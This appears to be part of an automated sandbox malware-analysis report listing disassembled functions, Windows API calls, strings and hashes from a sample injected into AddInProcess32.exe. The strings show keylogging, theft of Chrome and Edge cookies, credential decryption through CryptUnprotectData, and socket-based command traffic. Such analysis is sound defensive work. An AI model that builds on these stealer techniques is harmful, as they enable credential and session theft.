                                                        • Instruction Fuzzy Hash: 5F41E232E00200AFEB14DF78C881A5EB3B5EF89B18F1545AEE915EB351D735AE05CB84
                                                        Function 0044F3DA Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetEnvironmentStringsW.KERNEL32 ref: 0044F3E3
                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F406
                                                          • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435349,?,?,004388C7,?,?,00000000,00476B50,?,0040DE9D,00435349,?,?,?,?), ref: 004461EA
                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F42C
                                                        • _free.LIBCMT ref: 0044F43F
                                                        • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F44E
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                        • String ID:
                                                        • API String ID: 336800556-0
                                                        • Opcode ID: 7d1f56057eec42b9e44eaca7954531e52edb8e618f6c0f5134274d299c642649
                                                        • Instruction ID: b6d7bf627ac8e1e23e8e90154f8049d5dc13ee9613ce4caf203d647ba434722a
                                                        • Opcode Fuzzy Hash: 7d1f56057eec42b9e44eaca7954531e52edb8e618f6c0f5134274d299c642649
                                                        • Instruction Fuzzy Hash: 2401DF72602721BF37211ABB5C8DC7F6AACDEC6FA5355013AFD04D2202DE688D0691B9
                                                        Function 0041C482 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C5A1,00000000,00000000,00000000), ref: 0041C4C1
                                                        • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041C5A1,00000000,00000000), ref: 0041C4DE
                                                        • CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041C5A1,00000000,00000000), ref: 0041C4EA
                                                        • WriteFile.KERNEL32(00000000,00000000,00000000,00406FC0,00000000,?,00000004,00000000,0041C5A1,00000000,00000000), ref: 0041C4FB
                                                        • CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041C5A1,00000000,00000000), ref: 0041C508
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$CloseHandle$CreatePointerWrite
                                                        • String ID:
                                                        • API String ID: 1852769593-0
                                                        • Opcode ID: 03b5af7f289a82a83928ea742180afc1da621273c2f808e1c0dcbcf6c59c1bfa
                                                        • Instruction ID: 0233a984b642d2e84dd4fc2cab076f06cd7f632185dc4648213adf39284592b7
                                                        • Opcode Fuzzy Hash: 03b5af7f289a82a83928ea742180afc1da621273c2f808e1c0dcbcf6c59c1bfa
                                                        • Instruction Fuzzy Hash: 6311E571288215BFE7104A24ACC8EBB739CEB46365F10862BF912D22D0C624DC418639
                                                        Function 00448319 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLastError.KERNEL32(?,00000000,?,0043BCD6,00000000,?,?,0043BD5A,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0044831E
                                                        • _free.LIBCMT ref: 00448353
                                                        • _free.LIBCMT ref: 0044837A
                                                        • SetLastError.KERNEL32(00000000), ref: 00448387
                                                        • SetLastError.KERNEL32(00000000), ref: 00448390
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast$_free
                                                        • String ID:
                                                        • API String ID: 3170660625-0
                                                        • Opcode ID: 1cfc413842d63f34c7f1edcf4c7ea3bb1e2262b941f6d70642a76626a3a2f89f
                                                        • Instruction ID: 5af5a014564f127a9d6b3613d5887cb4baea3ca98ff5bc54bcf39f1731b7af1a
                                                        • Opcode Fuzzy Hash: 1cfc413842d63f34c7f1edcf4c7ea3bb1e2262b941f6d70642a76626a3a2f89f
                                                        • Instruction Fuzzy Hash: 3401F936100B006BB7117A2A5C45E6F3259DBD2B75B35093FFD1892292EF7ECC02812D
                                                        Function 00450A3C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • _free.LIBCMT ref: 00450A54
                                                          • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?), ref: 00446818
                                                          • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                        • _free.LIBCMT ref: 00450A66
                                                        • _free.LIBCMT ref: 00450A78
                                                        • _free.LIBCMT ref: 00450A8A
                                                        • _free.LIBCMT ref: 00450A9C
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$ErrorFreeHeapLast
                                                        • String ID:
                                                        • API String ID: 776569668-0
                                                        • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                                        • Instruction ID: 72fff71e7c38304dd33e0b5962bcef44c8ad6e5fbb3f6de42623dcf71f8de19c
                                                        • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                                        • Instruction Fuzzy Hash: F7F012765053006B9620EB5DE883C1773D9EA157117A68C1BF549DB652C778FCC0866C
                                                        Function 004440E8 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _free.LIBCMT ref: 00444106
                                                          • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?), ref: 00446818
                                                          • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                        • _free.LIBCMT ref: 00444118
                                                        • _free.LIBCMT ref: 0044412B
                                                        • _free.LIBCMT ref: 0044413C
                                                        • _free.LIBCMT ref: 0044414D
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$ErrorFreeHeapLast
                                                        • String ID:
                                                        • API String ID: 776569668-0
                                                        • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                                        • Instruction ID: 0e9c2896d1a2baf17e4b980eca3efa8a556ca0a6e45d827b59e8921ed08f8926
                                                        • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                                        • Instruction Fuzzy Hash: 91F03AB18025208FA731AF2DBD528053BA1A705720356853BF40C62A71C7B849C2DFDF
                                                        Function 0044BAB7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: PkGNG
                                                        • API String ID: 0-263838557
                                                        • Opcode ID: 5e00ae4c16f04a5a408ad6ef1dd4f82ff0aaed16414488ba1079334ecebbb015
                                                        • Instruction ID: da8fb74aa53f7b39327717419ea6793f6800af9799f3d5c2cf6102f7e15971fb
                                                        • Opcode Fuzzy Hash: 5e00ae4c16f04a5a408ad6ef1dd4f82ff0aaed16414488ba1079334ecebbb015
                                                        • Instruction Fuzzy Hash: 1451C171D00209AAEF109FA5D885BAFBBB8EF45314F14015FE905A7291CB38D911CBA9
                                                        Function 0044E769 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _strpbrk.LIBCMT ref: 0044E7B8
                                                        • _free.LIBCMT ref: 0044E8D5
                                                          • Part of subcall function 0043BD68: IsProcessorFeaturePresent.KERNEL32(00000017,0043BD3A,?,?,?,?,?,00000000,?,?,0043BD5A,00000000,00000000,00000000,00000000,00000000), ref: 0043BD6A
                                                          • Part of subcall function 0043BD68: GetCurrentProcess.KERNEL32(C0000417), ref: 0043BD8C
                                                          • Part of subcall function 0043BD68: TerminateProcess.KERNEL32(00000000), ref: 0043BD93
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                                        • String ID: *?$.
                                                        • API String ID: 2812119850-3972193922
                                                        • Opcode ID: 425935087bf6a06ef5f668eca0c2840133b7cce1b1476d2e54c501535b2ee598
                                                        • Instruction ID: bbc13fc8ee10fdca904a4e9292213e09ebfa005f106ef5a16faeda3ce4fd08f7
                                                        • Opcode Fuzzy Hash: 425935087bf6a06ef5f668eca0c2840133b7cce1b1476d2e54c501535b2ee598
                                                        • Instruction Fuzzy Hash: C251B175E00209AFEF14DFAAC881AAEF7B5FF58314F24416EE844E7341E6399A018B54
                                                        Function 00415B25 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CountEventTick
                                                        • String ID: !D@$NG
                                                        • API String ID: 180926312-2721294649
                                                        • Opcode ID: 1409f91683eb0d13268e59a75ed27cf67ebd121d06af2735119167055e625867
                                                        • Instruction ID: 3ac9408315e1e6036cedb879f74fb80cbd33a95067926c5a5f9e9f7d680cff10
                                                        • Opcode Fuzzy Hash: 1409f91683eb0d13268e59a75ed27cf67ebd121d06af2735119167055e625867
                                                        • Instruction Fuzzy Hash: 3E51A5315082019AC724FB32D852AFF73A5AF94304F50483FF54A671E2EF3C5945C68A
                                                        Function 00409EDE Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetKeyboardLayoutNameA.USER32(?), ref: 00409F0E
                                                          • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                                          • Part of subcall function 0041C5A6: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00409F96,00474EE0,?,00474EE0,00000000,00474EE0,00000000), ref: 0041C5BB
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CreateFileKeyboardLayoutNameconnectsend
                                                        • String ID: XQG$NG$PG
                                                        • API String ID: 1634807452-3565412412
                                                        • Opcode ID: fd0e2637303639c3914413e18f481dca8088ebaee1bdd9cde4e16d3ac9440c52
                                                        • Instruction ID: 86122f73fea86c9dce3a8c8dcd7d10d1556e7c038dfd98f63e082762e027ad1b
                                                        • Opcode Fuzzy Hash: fd0e2637303639c3914413e18f481dca8088ebaee1bdd9cde4e16d3ac9440c52
                                                        • Instruction Fuzzy Hash: 955120315082419BC328FB32D851AEFB3E5AFD4348F50493FF54AA71E2EF78594A8649
                                                        Function 004434D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000104), ref: 00443515
                                                        • _free.LIBCMT ref: 004435E0
                                                        • _free.LIBCMT ref: 004435EA
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$FileModuleName
                                                        • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        • API String ID: 2506810119-760905667
                                                        • Opcode ID: 85df99244543f45e80e68b9da345e50485f416d8f0a3fa02bb076d818d98866e
                                                        • Instruction ID: e5efe6401a3e5f1db0e1141fbbc5a3d1caea7301f6195c2e8eaff0a3f5655f7e
                                                        • Opcode Fuzzy Hash: 85df99244543f45e80e68b9da345e50485f416d8f0a3fa02bb076d818d98866e
                                                        • Instruction Fuzzy Hash: D63193B1A00254BFEB21DF9A998199EBBF8EB84B15F10406BF40597311D6B88F41CB99
                                                        Function 0044B89F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,FF8BC35D,00000000,?,PkGNG,0044BBFE,?,00000000,FF8BC35D), ref: 0044B952
                                                        • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0044B980
                                                        • GetLastError.KERNEL32 ref: 0044B9B1
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharErrorFileLastMultiWideWrite
                                                        • String ID: PkGNG
                                                        • API String ID: 2456169464-263838557
                                                        • Opcode ID: f851102e1cc74a1ce765c461dca65e8698d1b877b070f44673effa5d02d51bb5
                                                        • Instruction ID: 31ac96f82a5847659344ef20b41dc67af7a50504b34fbd786f6314a6cc22fa3b
                                                        • Opcode Fuzzy Hash: f851102e1cc74a1ce765c461dca65e8698d1b877b070f44673effa5d02d51bb5
                                                        • Instruction Fuzzy Hash: B13161B5A102199FDB14CF59DD819EAB7B9FB08305F0444BEE90AD7251D734ED80CBA4
                                                        Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                                          • Part of subcall function 0041BA09: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041BA30
                                                          • Part of subcall function 004185A3: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E84), ref: 004185B9
                                                          • Part of subcall function 004185A3: CloseHandle.KERNEL32(00465E84,?,?,004040F5,00465E84), ref: 004185C2
                                                          • Part of subcall function 0041C516: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E84), ref: 0041C52F
                                                        • Sleep.KERNEL32(000000FA,00465E84), ref: 00404138
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                        • String ID: /sort "Visit Time" /stext "$0NG
                                                        • API String ID: 368326130-3219657780
                                                        • Opcode ID: e78c06b9bf7766e7fe0f8007d50d57f34ca1e93f8206c7928855f49078e072bb
                                                        • Instruction ID: 7a7c83aa22bf4ff3424ba87d95d637a61540eed1193ecfb54830ab602693969f
                                                        • Opcode Fuzzy Hash: e78c06b9bf7766e7fe0f8007d50d57f34ca1e93f8206c7928855f49078e072bb
                                                        • Instruction Fuzzy Hash: 2C316371A0011956CB15FBA6DC569ED7375AF90308F00007FF60AB71E2EF785D49CA99
                                                        Function 0041631F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _wcslen.LIBCMT ref: 00416330
                                                          • Part of subcall function 004138B2: RegCreateKeyA.ADVAPI32(80000001,00000000,004660B4), ref: 004138C0
                                                          • Part of subcall function 004138B2: RegSetValueExA.ADVAPI32(004660B4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C18D,00466C58,00000001,000000AF,004660B4), ref: 004138DB
                                                          • Part of subcall function 004138B2: RegCloseKey.ADVAPI32(004660B4,?,?,?,0040C18D,00466C58,00000001,000000AF,004660B4), ref: 004138E6
                                                          • Part of subcall function 00409E1F: _wcslen.LIBCMT ref: 00409E38
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _wcslen$CloseCreateValue
                                                        • String ID: !D@$okmode$PG
                                                        • API String ID: 3411444782-3370592832
                                                        • Opcode ID: 33c7808d8a7b0bded71eafecf17113fbf2925580b38271ada3cd576753f1e43b
                                                        • Instruction ID: 097cdf197a66b89fefcd85ce8a19d7acc75244c7017ebd4eb32b8c3ef24b572d
                                                        • Opcode Fuzzy Hash: 33c7808d8a7b0bded71eafecf17113fbf2925580b38271ada3cd576753f1e43b
                                                        • Instruction Fuzzy Hash: 1E11A571B442011BDA187B32D862BBD22969F84348F80843FF546AF2E2DFBD4C51975D
                                                        Function 0040C627 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0040C4FE: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C531
                                                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C658
                                                        • PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C6C3
                                                        Strings
                                                        • User Data\Profile ?\Network\Cookies, xrefs: 0040C670
                                                        • User Data\Default\Network\Cookies, xrefs: 0040C63E
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExistsFilePath
                                                        • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                                        • API String ID: 1174141254-1980882731
                                                        • Opcode ID: 94e3019874633fdbfa545aa7663ce5ff9a408d6cc8816db895689c957fef93bc
                                                        • Instruction ID: a3c4a2fc075df05cc4efb8d324c4514c6f5a9a9113215be8183f294a60e8cc46
                                                        • Opcode Fuzzy Hash: 94e3019874633fdbfa545aa7663ce5ff9a408d6cc8816db895689c957fef93bc
                                                        • Instruction Fuzzy Hash: 0621E27190011A96CB14FBA2DC96DEEBB7CAE50319B40053FF506B31D2EF789946C6D8
                                                        Function 0040C6F6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0040C561: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C594
                                                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C727
                                                        • PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C792
                                                        Strings
                                                        • User Data\Profile ?\Network\Cookies, xrefs: 0040C73F
                                                        • User Data\Default\Network\Cookies, xrefs: 0040C70D
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExistsFilePath
                                                        • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                                        • API String ID: 1174141254-1980882731
                                                        • Opcode ID: cd02b2d6f0091136f3bd33ffae0826dfdd9dcae469dd48ae7039cc879f52ebfc
                                                        • Instruction ID: 531025beeaae0c5c42121d483a56170e39db3028f8febaf9efde6b64dfa31b71
                                                        • Opcode Fuzzy Hash: cd02b2d6f0091136f3bd33ffae0826dfdd9dcae469dd48ae7039cc879f52ebfc
                                                        • Instruction Fuzzy Hash: 4821127190011A96CB04F7A2DC96CEEBB78AE50359B40013FF506B31D2EF789946C6D8
                                                        Function 0040A1B4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateThread.KERNEL32(00000000,00000000,0040A2B8,004750F0,00000000,00000000), ref: 0040A239
                                                        • CreateThread.KERNEL32(00000000,00000000,0040A2A2,004750F0,00000000,00000000), ref: 0040A249
                                                        • CreateThread.KERNEL32(00000000,00000000,0040A2C4,004750F0,00000000,00000000), ref: 0040A255
                                                          • Part of subcall function 0040B19F: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B1AD
                                                          • Part of subcall function 0040B19F: wsprintfW.USER32 ref: 0040B22E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CreateThread$LocalTimewsprintf
                                                        • String ID: Offline Keylogger Started
                                                        • API String ID: 465354869-4114347211
                                                        • Opcode ID: 460aeebbd05c9109f8f1e9d4cf1c4a7c90257216c04fbe0fa29816e89daae231
                                                        • Instruction ID: fa9a7328340dc7f48b0d085764b542104813bfc3ea66268f7111ac5d0199d402
                                                        • Opcode Fuzzy Hash: 460aeebbd05c9109f8f1e9d4cf1c4a7c90257216c04fbe0fa29816e89daae231
                                                        • Instruction Fuzzy Hash: 1111ABB12003187ED210BB368C87CBB765DDA4139CB40057FF946221C2EA795D14CAFB
                                                        Function 0040AF29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0040B19F: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B1AD
                                                          • Part of subcall function 0040B19F: wsprintfW.USER32 ref: 0040B22E
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        • CreateThread.KERNEL32(00000000,00000000,0040A2A2,?,00000000,00000000), ref: 0040AFA9
                                                        • CreateThread.KERNEL32(00000000,00000000,0040A2C4,?,00000000,00000000), ref: 0040AFB5
                                                        • CreateThread.KERNEL32(00000000,00000000,0040A2D0,?,00000000,00000000), ref: 0040AFC1
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CreateThread$LocalTime$wsprintf
                                                        • String ID: Online Keylogger Started
                                                        • API String ID: 112202259-1258561607
                                                        • Opcode ID: 77df2eb5e9a30333ff56a104ce6f74fac6c8f24925e0e44ba138bd3ce2eab701
                                                        • Instruction ID: 1fd114496b08e8c1d91a2f23279a740fccf8855fe00c80ef0b78f2cd7c44f0e8
                                                        • Opcode Fuzzy Hash: 77df2eb5e9a30333ff56a104ce6f74fac6c8f24925e0e44ba138bd3ce2eab701
                                                        • Instruction Fuzzy Hash: 2A01C4A07003193EE62076368C8BDBF7A6DCA91398F4004BFF641362C2E97D1C1586FA
                                                        Function 0041B580 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: LocalTime
                                                        • String ID: | $%02i:%02i:%02i:%03i $PkGNG
                                                        • API String ID: 481472006-3277280411
                                                        • Opcode ID: d9bff088cb76c426919b24c8266bea5d45f0a8ea700e32831e669085e32f1d03
                                                        • Instruction ID: 036da7e0cd4114b6fa9428aab3af546923e8b827a5fb64715830670d2b1b9b5a
                                                        • Opcode Fuzzy Hash: d9bff088cb76c426919b24c8266bea5d45f0a8ea700e32831e669085e32f1d03
                                                        • Instruction Fuzzy Hash: 091190714082455AC304FB62D8519FFB3E9AB84348F50093FF88AA21E1EF3CDA45C69E
                                                        Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLocalTime.KERNEL32(?), ref: 00404F81
                                                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404FCD
                                                        • CreateThread.KERNEL32(00000000,00000000,00405150,?,00000000,00000000), ref: 00404FE0
                                                        Strings
                                                        • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Create$EventLocalThreadTime
                                                        • String ID: KeepAlive | Enabled | Timeout:
                                                        • API String ID: 2532271599-1507639952
                                                        • Opcode ID: a02ae91ac195284b5da0ea0fcd2ef2636c7927f14dee073a7222123f061fd718
                                                        • Instruction ID: 41fa32a9fb91b1633a7afb8999ae97baef60c60c8d6252053b050d354fdafbcf
                                                        • Opcode Fuzzy Hash: a02ae91ac195284b5da0ea0fcd2ef2636c7927f14dee073a7222123f061fd718
                                                        • Instruction Fuzzy Hash: 82110A71800385BAC720A7779C0DEAB7FACDBD2714F04046FF54162291D6B89445CBBA
                                                        Function 00406A9E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(crypt32,CryptUnprotectData), ref: 00406ABD
                                                        • GetProcAddress.KERNEL32(00000000), ref: 00406AC4
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: CryptUnprotectData$crypt32
                                                        • API String ID: 2574300362-2380590389
                                                        • Opcode ID: 905686a6130e311fdcec2a0cd22c75bab7e39712089f0cc697143e337071fc99
                                                        • Instruction ID: 59ed3cbb63f31e38ea488d6bd85f24bb9ff1ce5495ed4d1509158228521d53cd
                                                        • Opcode Fuzzy Hash: 905686a6130e311fdcec2a0cd22c75bab7e39712089f0cc697143e337071fc99
